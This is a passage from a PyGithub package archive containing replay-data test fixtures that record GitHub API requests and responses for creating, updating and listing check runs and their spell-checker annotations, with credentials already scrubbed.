PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","metadata":"read","workflows":"write"},"events":["check_run","check_suite"]},"pull_requests":[]} https GET api.github.com None /repos/dhruvmanila/pygithub-testing/check-runs/1280914700/annotations {'Accept': 'application/vnd.github.v3+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 23 Oct 2020 03:04:57 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"047a28107e6c7cccaea233850af8c84a6c36a7eddfe08d6e1b78f3d435bdef2d"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4911'), ('X-RateLimit-Reset', '1603425766'), ('X-RateLimit-Used', '89'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CF1E:095B:3B5C6F:52DEE7:5F924859')] [{"path":"README.md","blob_href":"https://github.com/dhruvmanila/pygithub-testing/blob/0283d46537193f1fed7d46859f15c5304b9836f9/README.md","start_line":2,"start_column":null,"end_line":2,"end_column":null,"annotation_level":"warning","title":"Spell Checker","message":"Check your spelling for 'banaas'.","raw_details":"Do you mean 'bananas' or 'banana'?"},{"path":"README.md","blob_href":"https://github.com/dhruvmanila/pygithub-testing/blob/0283d46537193f1fed7d46859f15c5304b9836f9/README.md","start_line":4,"start_column":null,"end_line":4,"end_column":null,"annotation_level":"warning","title":"Spell Checker","message":"Check your spelling for 'aples'","raw_details":"Do you mean 'apples' or 'Naples'"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/CheckRun.testCheckRunOutputAttributes.txt0000644000175100001660000001025414756101563026314 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/check-runs/1039891917 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 23 Oct 2020 03:05:00 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"f9cc9072c36d45bce89bde08d78c37bd463290dc6ee98938b4251c2f642a9594"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4906'), ('X-RateLimit-Reset', '1603425766'), ('X-RateLimit-Used', '94'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CF23:66AD:C720EC:11257BC:5F92485B')] {"id":1039891917,"node_id":"MDg6Q2hlY2tSdW4xMDM5ODkxOTE3","head_sha":"10a7135a04f71e6101f8b013aded8a662d08fd1f","external_id":"ced8afa2-0de1-5007-330b-c6fb982580f9","url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891917","html_url":"https://github.com/PyGithub/PyGithub/runs/1039891917","details_url":"https://github.com/PyGithub/PyGithub/runs/1039891917","status":"completed","conclusion":"failure","started_at":"2020-08-28T04:20:27Z","completed_at":"2020-08-28T04:22:35Z","output":{"title":"test (Python 3.6)","summary":"There are 1 failures, 0 warnings, and 0 notices.","text":null,"annotations_count":1,"annotations_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891917/annotations"},"name":"test (Python 3.6)","check_suite":{"id":1110219217},"app":{"id":15368,"slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars1.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2019-12-10T19:04:12Z","permissions":{"actions":"write","checks":"write","contents":"write","deployments":"write","issues":"write","metadata":"read","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["check_run","check_suite","create","delete","deployment","deployment_status","fork","gollum","issues","issue_comment","label","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]},"pull_requests":[]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/CheckRun.testCreateCheckRunCompleted.txt0000644000175100001660000001145214756101563026006 0ustar00runnerdockerhttps POST api.github.com None /repos/dhruvmanila/pygithub-testing/check-runs {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"name": "completed_check_run", "head_sha": "0283d46537193f1fed7d46859f15c5304b9836f9", "status": "completed", "started_at": "2020-10-20T10:30:29Z", "completed_at": "2020-10-20T11:30:50Z", "conclusion": "success", "output": {"title": "Readme report", "summary": "There are 0 failures, 2 warnings, and 1 notices.", "text": "You may have some misspelled words on lines 2 and 4.", "annotations": [{"path": "README.md", "annotation_level": "warning", "title": "Spell Checker", "message": "Check your spelling for 'banaas'.", "raw_details": "Do you mean 'bananas' or 'banana'?", "start_line": 2, "end_line": 2}, {"path": "README.md", "annotation_level": "warning", "title": "Spell Checker", "message": "Check your spelling for 'aples'", "raw_details": "Do you mean 'apples' or 'Naples'", "start_line": 4, "end_line": 4}], "images": [{"alt": "Test Image", "image_url": "http://example.com/images/42"}]}, "actions": [{"label": "Fix", "identifier": "fix_errors", "description": "Allow us to fix these errors for you"}]} 201 [('Date', 'Fri, 23 Oct 2020 03:05:03 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2294'), ('Server', 'GitHub.com'), ('Status', '201 Created'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', '"0969dd43d8b7a32b9635309969175f3de6993ae3001283331b47a553a0df5978"'), ('Location', 'https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296027873'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4901'), ('X-RateLimit-Reset', '1603425766'), ('X-RateLimit-Used', '99'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'CF28:24B4:15A7929:1D6C7DF:5F92485E')] {"id":1296027873,"node_id":"MDg6Q2hlY2tSdW4xMjk2MDI3ODcz","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296027873","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1296027873","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T10:30:29Z","completed_at":"2020-10-20T11:30:50Z","output":{"title":"Readme report","summary":"There are 0 failures, 2 warnings, and 1 notices.","text":"You may have some misspelled words on lines 2 and 4.","annotations_count":2,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296027873/annotations"},"name":"completed_check_run","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","metadata":"read","workflows":"write"},"events":["check_run","check_suite"]},"pull_requests":[]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/CheckRun.testCreateCheckRunInProgress.txt0000644000175100001660000001722014756101563026164 0ustar00runnerdockerhttps POST api.github.com None /repos/dhruvmanila/pygithub-testing/check-runs {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"name": "basic_check_run", "head_sha": "0283d46537193f1fed7d46859f15c5304b9836f9", "details_url": "https://www.example.com", "external_id": "50", "status": "in_progress", "started_at": "2020-09-04T01:14:52Z", "output": {"title": "PyGithub Check Run Test", "summary": "Test summary"}} 201 [('Date', 'Fri, 23 Oct 2020 03:05:05 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2171'), ('Server', 'GitHub.com'), ('Status', '201 Created'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', '"5c8b10b95fabf5ee27162fa3e6e5284658efba49e83c740a8480fa9bc0b6fbea"'), ('Location', 'https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296028076'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4896'), ('X-RateLimit-Reset', '1603425766'), ('X-RateLimit-Used', '104'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'CF2D:6561:C67695:110B31F:5F924860')] {"id":1296028076,"node_id":"MDg6Q2hlY2tSdW4xMjk2MDI4MDc2","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"50","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296028076","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1296028076","details_url":"https://www.example.com","status":"in_progress","conclusion":null,"started_at":"2020-09-04T01:14:52Z","completed_at":null,"output":{"title":"PyGithub Check Run Test","summary":"Test summary","text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296028076/annotations"},"name":"basic_check_run","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","metadata":"read","workflows":"write"},"events":["check_run","check_suite"]},"pull_requests":[]} https PATCH api.github.com None /repos/dhruvmanila/pygithub-testing/check-runs/1296028076 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"conclusion": "success"} 200 [('Date', 'Fri, 23 Oct 2020 03:05:06 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"938525593c35bfe916a2c12bdf95943b7134b1442e867584a722bcece448c925"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4895'), ('X-RateLimit-Reset', '1603425766'), ('X-RateLimit-Used', '105'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CF2E:6DFC:1520D35:1CD42AC:5F924861')] {"id":1296028076,"node_id":"MDg6Q2hlY2tSdW4xMjk2MDI4MDc2","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"50","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296028076","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1296028076","details_url":"https://www.example.com","status":"completed","conclusion":"success","started_at":"2020-09-04T01:14:52Z","completed_at":"2020-10-23T03:05:06Z","output":{"title":"PyGithub Check Run Test","summary":"Test summary","text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296028076/annotations"},"name":"basic_check_run","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","metadata":"read","workflows":"write"},"events":["check_run","check_suite"]},"pull_requests":[]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/CheckRun.testGetCheckRunsForRef.txt0000644000175100001660000004135314756101563024757 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/commits/10a7135a04f71e6101f8b013aded8a662d08fd1f/check-runs?per_page=1 {'Accept': 'application/vnd.github.v3+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 23 Oct 2020 03:05:08 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"23899cd4213d4493f54600e530f4a43575402b503586eeb8d9c7340e56cf8b8a"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4890'), ('X-RateLimit-Reset', '1603425766'), ('X-RateLimit-Used', '110'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CF33:6DFC:1520D6C:1CD42FE:5F924864')] {"total_count":4,"check_runs":[{"id":34942661139,"node_id":"MDg6Q2hlY2tSdW4xMDM5ODkxOTUz","head_sha":"10a7135a04f71e6101f8b013aded8a662d08fd1f","external_id":"6b512fe7-587c-5ecc-c4a3-03b7358c152d","url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/34942661139","html_url":"https://github.com/PyGithub/PyGithub/runs/34942661139","details_url":"https://github.com/PyGithub/PyGithub/runs/34942661139","status":"completed","conclusion":"success","started_at":"2020-08-28T04:20:27Z","completed_at":"2020-08-28T04:21:21Z","output":{"title":null,"summary":null,"text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/34942661139/annotations"},"name":"test (Python 3.8)","check_suite":{"id":1110219217},"app":{"id":15368,"slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars1.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2019-12-10T19:04:12Z","permissions":{"actions":"write","checks":"write","contents":"write","deployments":"write","issues":"write","metadata":"read","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["check_run","check_suite","create","delete","deployment","deployment_status","fork","gollum","issues","issue_comment","label","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]},"pull_requests":[]}]} https GET api.github.com None /repos/PyGithub/PyGithub/commits/10a7135a04f71e6101f8b013aded8a662d08fd1f/check-runs {'Accept': 'application/vnd.github.v3+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 23 Oct 2020 03:05:09 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"12597e85447ab058b30dc5520ecbf8e3a8d7623a4c0bfe53dfc235b1da5297d5"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4889'), ('X-RateLimit-Reset', '1603425766'), ('X-RateLimit-Used', '111'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CF34:0A11:F412F2:14F8735:5F924865')] {"total_count":4,"check_runs":[{"id":34942661139,"node_id":"MDg6Q2hlY2tSdW4xMDM5ODkxOTUz","head_sha":"10a7135a04f71e6101f8b013aded8a662d08fd1f","external_id":"6b512fe7-587c-5ecc-c4a3-03b7358c152d","url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/34942661139","html_url":"https://github.com/PyGithub/PyGithub/runs/34942661139","details_url":"https://github.com/PyGithub/PyGithub/runs/34942661139","status":"completed","conclusion":"success","started_at":"2020-08-28T04:20:27Z","completed_at":"2020-08-28T04:21:21Z","output":{"title":null,"summary":null,"text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/34942661139/annotations"},"name":"test (Python 3.8)","check_suite":{"id":1110219217},"app":{"id":15368,"slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars1.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2019-12-10T19:04:12Z","permissions":{"actions":"write","checks":"write","contents":"write","deployments":"write","issues":"write","metadata":"read","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["check_run","check_suite","create","delete","deployment","deployment_status","fork","gollum","issues","issue_comment","label","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]},"pull_requests":[]},{"id":1039891931,"node_id":"MDg6Q2hlY2tSdW4xMDM5ODkxOTMx","head_sha":"10a7135a04f71e6101f8b013aded8a662d08fd1f","external_id":"02f808e0-98fe-55de-7c6a-7b611811c378","url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891931","html_url":"https://github.com/PyGithub/PyGithub/runs/1039891931","details_url":"https://github.com/PyGithub/PyGithub/runs/1039891931","status":"completed","conclusion":"success","started_at":"2020-08-28T04:20:26Z","completed_at":"2020-08-28T04:21:32Z","output":{"title":null,"summary":null,"text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/1039891931/annotations"},"name":"test (Python 3.7)","check_suite":{"id":1110219217},"app":{"id":15368,"slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars1.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to 